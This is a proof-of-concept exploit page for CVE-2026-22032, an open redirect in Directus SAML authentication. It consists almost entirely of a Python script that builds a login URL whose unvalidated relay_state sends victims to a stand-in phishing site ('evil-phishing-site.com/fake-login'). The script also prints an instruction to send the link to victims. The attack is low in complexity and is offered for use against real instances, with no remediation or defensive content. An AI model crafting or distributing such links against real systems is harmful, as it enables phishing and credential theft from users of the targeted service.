CVE-2026-22032 Directus SAML认证开放重定向漏洞

import requests import urllib.parse # CVE-2026-22032 PoC - Directus SAML Open Redirect # Target: Directus instance with SAML authentication enabled def generate_malicious_saml_request(target_url, redirect_target): """ Generate malicious SAML authentication request with open redirect Args: target_url: Base URL of vulnerable Directus instance redirect_target: Malicious URL to redirect victims to """ # Construct the malicious SAML initiation URL # The RelayState parameter is not validated in the callback endpoint relay_state = urllib.parse.quote(redirect_target) # SAML login initiation endpoint saml_init_url = f"{target_url}/auth/saml/login?relay_state={relay_state}" return saml_init_url def exploit_open_redirect(target_url, redirect_target): """ Exploit the open redirect vulnerability This PoC demonstrates how an attacker can craft a malicious link that redirects users to an arbitrary URL after SAML authentication. """ malicious_url = generate_malicious_saml_request(target_url, redirect_target) print(f"[*] Target: {target_url}") print(f"[*] Malicious Redirect Target: {redirect_target}") print(f"[*] Generated Malicious URL: {malicious_url}") print(f"\n[!] Send this URL to victims to trigger the redirect") # The attack flow: # 1. Victim clicks the malicious URL # 2. User is redirected to IdP for authentication # 3. After authentication, callback endpoint receives response # 4. Without proper validation, RelayState is used for redirect # 5. Victim is redirected to attacker's controlled site return malicious_url # Example usage if __name__ == "__main__": target = "https://vulnerable-directus.example.com" malicious_site = "https://evil-phishing-site.com/fake-login" exploit_open_redirect(target, malicious_site)